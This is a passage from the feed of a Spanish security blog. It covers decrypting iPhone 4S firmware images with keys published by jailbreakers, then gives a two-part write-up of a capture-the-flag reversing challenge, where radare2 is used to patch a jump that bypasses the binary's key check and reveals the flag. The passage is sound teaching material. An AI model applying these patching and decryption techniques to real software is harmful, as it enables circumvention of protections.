left;&quot;&gt;&lt;i&gt;ssbiEPYT&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;ssbi&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;ATAD&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;jnZf&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;UZ^_&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;[...]&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como podemos ver, el formato de los ficheros no es reconocido, debido a que su contenido está cifrado. A pesar de que la clave de cifrado no se publica por Apple, los Jailbreakers las obtienen como parte de su trabajo de investigación, y van publicando aquellas que identifican, por ejemplo, en el &lt;a href=&quot;http://theiphonewiki.com/wiki/VFDecrypt_Keys&quot; target=&quot;_blank&quot;&gt;iPhoneWiki&lt;/a&gt;.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En este caso, el propio iH8sn0w ha &lt;a href=&quot;https://twitter.com/iH8sn0w/status/429694047809466368&quot; target=&quot;_blank&quot;&gt;colgado  en su Twitter&lt;/a&gt; una de las claves que ha encontrado durante su trabajo:&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-7udNyF8glUM/UvSxdft0GBI/AAAAAAAABf0/ztDLB8hAoG8/s1600/keys.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-7udNyF8glUM/UvSxdft0GBI/AAAAAAAABf0/ztDLB8hAoG8/s1600/keys.png&quot; height=&quot;95&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Con esta información ya podemos extraer las imágenes del IPSW que acabamos de descargar. Imagino que podríamos hacerlo a mano con openssl, pero yo he preferido usar una versión modificada del &lt;a href=&quot;https://code.google.com/p/iphone-dataprotection/source/browse/python_scripts/kernel_patcher.py&quot; target=&quot;_blank&quot;&gt;script &quot;kernel_patcher.py&quot;&lt;/a&gt; de la suite iphone-dataprotection (que podéis descargar de &lt;a href=&quot;https://sites.google.com/site/pentesteres/Home/pentester-es/ipsw_decrypt.py&quot; target=&quot;_blank&quot;&gt;AQUI&lt;/a&gt;).&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Básicamente, en script es el mismo que el original pero eliminando las acciones de parcheo del kernel, dejando las imágenes tal cual se encuentran dentro del IPSW. Veamos si funciona:&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;$ &lt;b&gt;./ipsw_decrypt.py --iv 3a0fc879691a5a359973792bcd367277 --key 371e3aea9121d90b8106228bf2b5ee4c638a0b4837fefbd87a3c0aca646e5996 --binary iBSS iPhone4,1_7.0.4_11B554a_Restore.ipsw&lt;/b&gt;&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;Decrypting iBSS.n94ap.RELEASE.dfu&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;Decrypted kernel written to iBSS.n94ap.RELEASE.dfu.decrypt&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Parece que todo ha funcionado bien, así que solo nos queda ver si efectivamente lo que hay dentro tiene pinta de iBSS:&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;$ &lt;b&gt;srch_strings iBSS.n94ap.RELEASE.dfu.decrypt&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;iBSS for n94ap, Copyright 2013, Apple Inc.&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;RELEASE&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;iBoot-1940.3.5&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;[...]&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Pues... todo apunta a que sí. Lamentablemente cada imagen está cifrada con una clave diferente y no podemos utilizar esta misma clave para descifrar el iBoot y ponernos a mirar, así que por el momento habrá que esperar a ver si son publicados más detalles sobre la vulnerabilidad.&lt;/div&gt;</description><link>http://www.pentester.es/2014/02/vulnerabilidad-en-el-iboot-de-iphone-4s.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-ypngjV0a424/UvSvqJ2EV6I/AAAAAAAABfY/x3zvKyh52V0/s72-c/Twitter1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6095633182846614983</guid><pubDate>Wed, 13 Nov 2013 07:00:00 +0000</pubDate><atom:updated>2013-11-13T08:00:01.637+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">NocONName</category><title>NcN PreQuals 2013: Reto 3 (b)</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Hace unos días, tras la solución del &lt;a href=&quot;http://www.pentester.es/2013/11/ncn-prequals-2013-reto-1.html&quot; target=&quot;_blank&quot;&gt;Reto 1&lt;/a&gt; y el &lt;a href=&quot;http://www.pentester.es/2013/11/ncn-prequals-2013-reto-2.html&quot; target=&quot;_blank&quot;&gt;Reto 2&lt;/a&gt; de las quals del CTF de la NcN de este año, os comentaba &lt;a href=&quot;http://www.pentester.es/2013/11/ncn-prequals-2013-reto-3-a.html&quot; target=&quot;_blank&quot;&gt;una posible solución al Reto 3&lt;/a&gt;, y os dejaba pendiente una segunda solución &quot;tirando de debugger&quot;, que &amp;nbsp;es la que veremos hoy.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Yo voy a utilizar &lt;b&gt;&lt;a href=&quot;http://radare.org/&quot; target=&quot;_blank&quot;&gt;radare2&lt;/a&gt;&lt;/b&gt; para hacerlo, pero podríais utilizar gdb, IDA, o vuestro debugger favorito.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Para los que se pierdan como yo mirando el puro ensamblador, radare2 tiene una función con la que podemos pintar un poco los bloques de las funciones, lo cual nos ayudará a visualizar un poco mejor lo que pasa:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;r2 -d level.elf&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[0x0040101f]&amp;gt; &lt;b&gt;af@main&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[0x0040101f]&amp;gt; &lt;b&gt;ag &amp;gt; foo.dot&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;foo.dot created&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hemos abierto el binario y nos hemos colocado en el main, y desde ahí generamos la gráfica que comentábamos anteriormente. Ahora solo tenemos que convertirla a otro formato más visible, por ejemplo PNG:&lt;/div&gt;&lt;br /&gt;&amp;nbsp;&lt;i&gt;$ &lt;b&gt;dot -Tpng foo.dot &amp;gt; foo.png&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-ebat_WmEjY0/UntmwmHkRvI/AAAAAAAABXs/Mj2dzbJjYNY/s1600/radare001.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://1.bp.blogspot.com/-ebat_WmEjY0/UntmwmHkRvI/AAAAAAAABXs/Mj2dzbJjYNY/s400/radare001.png&quot; width=&quot;310&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;No voy a subir el PNG a alta resolución (podéis generarlo vosotros mismos), pero creo que con esta captura será suficiente para que veáis el proceso.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¿Os acordáis que nos habíamos dado cuenta que la aplicación comparaba carácter a carácter? Quizá buscar bucles sea un buen punto de partida. En este caso, se puede ver fácilmente en la gráfica que existen únicamente DOS bucles (los identificamos porque hay flechas que vuelven a bloques anteriores). Si miramos ambos detenidamente veremos que el que nos interesa es el de la izquierda de los que tenéis marcados. Las dos flechas señalan donde están los dos puntos donde voy a hacer zoom a continuación, para que no os perdáis.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Pegando un vistazo al bucle, observamos una bifurcación curiosa:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-MnqHwVtWzKE/Untn5h2SH6I/AAAAAAAABX4/SSIPfsS6t4I/s1600/radare002.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;211&quot; src=&quot;http://1.bp.blogspot.com/-MnqHwVtWzKE/Untn5h2SH6I/AAAAAAAABX4/SSIPfsS6t4I/s400/radare002.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como podéis ver, llega un momento en el que se realiza una comparación y el flujo de la ejecución se va a una rama que llama a la función &lt;b&gt;game_over()&lt;/b&gt;, o a otra rama que llama a las funciones &lt;b&gt;success()&lt;/b&gt; y después a &lt;b&gt;no_me_jodas_manolo()&lt;/b&gt; (vaya nombre xDDD). Está claro que lo que nos interesa es forzar a que la ejecución del programa vaya a esta última rama, pero nos interesa hacerlo desde algún sitio en el que el contenido cifrado ya haya sido descifrado, o sino seguramente no vamos a conseguir nada ¿Donde podemos estar seguros que estará el contenido cifrado pero todavía no hemos tenido que introducir caracteres? Pues al comienzo del bucle que estábamos mirando.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-4g0ekOkieA8/Unto_ZZoR-I/AAAAAAAABYE/FRvD-VASsu0/s1600/radare003.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;270&quot; src=&quot;http://2.bp.blogspot.com/-4g0ekOkieA8/Unto_ZZoR-I/AAAAAAAABYE/FRvD-VASsu0/s400/radare003.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Donde tenéis la fecha roja es el bloque a donde vuelve el bucle, con lo que... ¿qué pasará si sobre escribimos el contenido y metemos un salto al bloque que nos da la solución? ¿funcionará?&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Os he marcado también con un recuadro rojo la que supuestamente es la comparación entre lo que introduce el usuario por teclado y lo que hay en memoria. Poniendo un breakpoint aquí y yendo a la zona de memoria a la que referencia seguramente también seríamos capaces de obtener la clave, pero de momento nosotros vamos a intentar hacer el bypass directo que comentábamos antes, a ver si funciona.&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;cp level.elf foolevel.elf&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;r2 -w foolevel.elf&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[0x00400690]&amp;gt; &lt;b&gt;s 0x0040114e&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[0x0040114e]&amp;gt; &lt;b&gt;wa jmp dword 0x0040117b&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Written 5 bytes ( jmp dword 0x0040117b)=wx e928000000&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[0x0040114e]&amp;gt; &lt;b&gt;pd&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ,=&amp;lt; 0x0040114e &amp;nbsp; &amp;nbsp; e928000000 &amp;nbsp; &amp;nbsp; &amp;nbsp; jmp dword 0x40117b&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hemos abierto una copia de level.elf a la que hemos llamado foolevel.elf y la hemos abierto en modo de escritura. Nos hemos ido a la posición 0x0040114e, que es la del inicio del bucle, y hemos sobre escrito un salto a la posición 0x0040117b, que es la del bloque que suponemos que nos mostrará el flag. Ahora solo nos queda salir de radare y ejecutar el binario a ver que pasa:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;./foolevel.elf&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;Type to win, only what I want to read...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;|&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;-&amp;gt; Congratulations! The key is:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Bingo! Ya tenemos el flag de nuevo, pero esta vez no hemos necesitado sacar la clave. En otras situaciones no habríamos podido hacer esto (o hubiera resultado mucho más complicado), porque depende mucho de como esté implementado, pero en esta ocasión ha funcionado a las mil maravillas. Por supuesto, existen bastantes maneras de solucionar este mismo reto. Si lo habéis probado de otra manera y queréis dejar un comentario... será bien recibido :)&lt;/div&gt;</description><link>http://www.pentester.es/2013/11/ncn-prequals-2013-reto-3-b.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-ebat_WmEjY0/UntmwmHkRvI/AAAAAAAABXs/Mj2dzbJjYNY/s72-c/radare001.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-544974816214223313</guid><pubDate>Mon, 11 Nov 2013 07:00:00 +0000</pubDate><atom:updated>2013-11-11T08:00:09.353+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">NocONName</category><title>NcN PreQuals 2013: Reto 3 (a)</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;En el último par de días habíamos hablado de la solución al &lt;a href=&quot;http://www.pentester.es/2013/11/ncn-prequals-2013-reto-1.html&quot; target=&quot;_blank&quot;&gt;Reto 1&lt;/a&gt; y &lt;a href=&quot;http://www.pentester.es/2013/11/ncn-prequals-2013-reto-2.html&quot; target=&quot;_blank&quot;&gt;Reto 2&lt;/a&gt; de las Quals del CTF de la NcN 2013, así que hoy nos toca ver la solución al Reto 3, el último en el que consistian las Quals. El reto consistía en un binario del que a priori no se proporcionaba más información.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En estos casos, lo mejor es empezar y saber ante que tipo de binario nos encontramos. Si no tiene la cabecera corrupta ni nada similar, debería bastarnos con usar el comando &quot;file&quot;:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;file level.elf&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;level.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xb589d432799bf15343387fea63d4bdc00faa177c, not stripped&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ya sabemos algo sobre el binario, es un ELF de 64 bits, así que deberíamos buscarnos un Linux de 64 bits en el que correr este binario ¿No tienes ninguno a mano? En ese caso te pasó igual que a mi al resolver este reto :) Por suerte Linux 64 bits es algo que podemos descargar facilmente de Internet.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Una vez que ya tenemos un Linux de 64 bits y podemos ejecutar el binario, a mi siempre me gusta ejecutarlo una vez a ver lo que hace antes de meterte &quot;a saco&quot; a desensamblar. El funcionamiento del binario te puede dar pistas sobre lo que tienes que buscar en el código.&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;./level.elf&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;Type to win, only what I want to read...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &lt;b&gt;f&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;|&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;-&amp;gt; I DON&#39;T THINK SO&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Cuando llamas al binario, se queda esperando a que pulses alguna tecla y, si es incorrecta, inmediatamente cierra la ejecución. Es de suponer que al introducir la clave correcta nos dará el deseado flag.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Antes de seguir, solo por si fuera así de sencillo, deberíamos hacerle un &quot;strings&quot; al binario, no sea que la contraseña aparezca directamente:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;strings level.elf&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;/lib64/ld-linux-x86-64.so.2&lt;/i&gt;&lt;br /&gt;&lt;i&gt;libc.so.6&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fflush&lt;/i&gt;&lt;br /&gt;&lt;i&gt;puts&lt;/i&gt;&lt;br /&gt;&lt;i&gt;putchar&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[..]&lt;/i&gt;&lt;br /&gt;&lt;i&gt;795ef9462825a6640f9a9d7e85a01f5bb311c5849f8fc0e41bf4030f43e583f3&lt;/i&gt;&lt;br /&gt;&lt;i&gt;50a89ea2b500750f9baa163adee2057881b418e47bce9ddced4941556614e499&lt;/i&gt;&lt;br /&gt;&lt;i&gt;be0978a13b5875b112bcc84b4b688d68ec2d11010543189540bffa3641f2623d&lt;/i&gt;&lt;br /&gt;&lt;i&gt;911106de1b05db8d1b0fb2fe118345b4db6ddb930cf61290fd0b8336ffb394fd&lt;/i&gt;&lt;br /&gt;&lt;i&gt;a750b2d4129207fbbe6527ddd396f24327f4302c0b8496e154f139612bfc3312&lt;/i&gt;&lt;br /&gt;&lt;i&gt;a3f0e19a20d10cb055fbaaf4bbe82859074e50f4f8c2cde2b907c0947941ec98&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;No os pongo toda la salida, por no hacer grande el post, pero no vemos nada que pueda parecer la clave ni el flag, pero sí que vemos algo que tiene pinta de estar cifrado. Es muy común en este tipo de retos que haya información cifrada que el propio binario se encargue descifrar, para evitar que sea tan fácil sacar la clave.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Esta vez no hubo suerte con el strings, así que vamos a tener que ejecutar el binario para que haga su trabajo. Otra de las cosas que suelo hacer es usar el comando &quot;ltrace&quot; (o &quot;strace&quot;, o &quot;ptrace&quot;, según la ocasión). El comando &quot;ltrace&quot; nos mostrará las llamadas a librerías, con lo que si se ejecuta un strcmp() o similar debería aparecernos:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;ltrace ./level.elf&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;__libc_start_main(0x40101f, 1, 0x7fff991818e8, 0x4011c0, 0x401250 &lt;unfinished ...=&quot;&quot;&gt;&lt;/unfinished&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fputc(&#39;\n&#39;, 0x7f279f827260&lt;/i&gt;&lt;br /&gt;&lt;i&gt;) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 10&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fwrite(&quot;| &amp;nbsp;&amp;gt; &amp;nbsp;&quot;, 1, 6, 0x7f279f827260) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 6&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fflush(0| &amp;nbsp;&amp;gt; &amp;nbsp;) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fwrite(&quot;Type to win, only what I want to&quot;..., 1, 41, 0x7f279f827260) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 41&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fflush(0Type to win, only what I want to read... ) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fputc(&#39;\n&#39;, 0x7f279f827260&lt;/i&gt;&lt;br /&gt;&lt;i&gt;) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 10&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fwrite(&quot;| &amp;nbsp;&amp;gt; &amp;nbsp;&quot;, 1, 6, 0x7f279f827260) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 6&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fflush(0| &amp;nbsp;&amp;gt; &amp;nbsp;) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;tcgetattr(0, 0x00603400) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;tcsetattr(0, 0, 0x00603440) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 